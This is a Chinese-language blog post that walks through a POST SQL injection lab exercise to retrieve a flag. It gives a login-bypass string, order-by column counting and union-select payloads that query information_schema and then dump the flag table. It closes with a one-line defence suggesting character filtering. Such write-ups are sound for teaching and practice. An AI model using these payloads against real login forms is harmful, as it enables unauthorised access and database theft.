渗透测试基础-POST注入

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

POST注入是什么

post是一种传参方式,大多出现在各种框处,比如登录框查询框,和各种与数据库有交互的框

注入攻击是:用户输入的数据当作代码执行,这里有两个关键点

  • 关键点一:用户能够控制输入
    关键点二:原本程序要执行的代码,拼接了用户输入的数据

post注入与get注入没有本质的区别,无非就是一个在表单框执行注入,一个在url栏执行注入,没了。

POST注入靶场演练

在这里插入图片描述
进入靶场我们可以看得到,有登录框,属于post传参的方式。在上面,靶场也显示了“数据库查询语句”方便我们查看输入的数据情况。

先用万能密码尝试一下登录测试,看能不能进去。

测试语句:
' or 1=1-- qwe

在这里,我直接用单引号开头,因为在上面有显示了,输入的数据,会放入单引号内,所有先用担引号给他闭合了,后面放入条件为True的语句,让其通过,看看执行情况
在这里插入图片描述
显示登录成功,执行的语句生效了,这里要是真实情况的话,我们就已经登录成功,进入下一个界面了(正式情况下,这样的情况很少出现了😂)。但我们现在是需要找到flag,所以登录成功与否,并没有什么用。所有接下来用order by来继续进行尝试。

测试语句:
'or 1=1 order by 1-- qwe
在这里插入图片描述
现在看起来语句正常执行了,既然order by 1不可以,那就接着测试

在这里插入图片描述
在这里插入图片描述
测试发现这里的字段数为3,那直接用自带库,进行接下来的尝试。

测试语句:
'or 1=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- qwe

在这里插入图片描述
这里就直接找到了flag表名,拿着这个表名,接着找字段名。

测试语句:
'or 1=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 2,1-- qwe

在这里插入图片描述
limit 2,1的地方找到了flag字段,拿着这个字段名和前面获得的表名,去查询想要的数据。

测试语句:
'or 1=1 union select 1,2,flag from flag limit 1,1-- qwe

在这里插入图片描述
这样就得到了想要的flag

漏洞总结

注入攻击的最后的防护方法就是过滤,过滤特殊符号,如’’,"",(),等

《最好的防御,是明白其怎么实施的攻击》

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值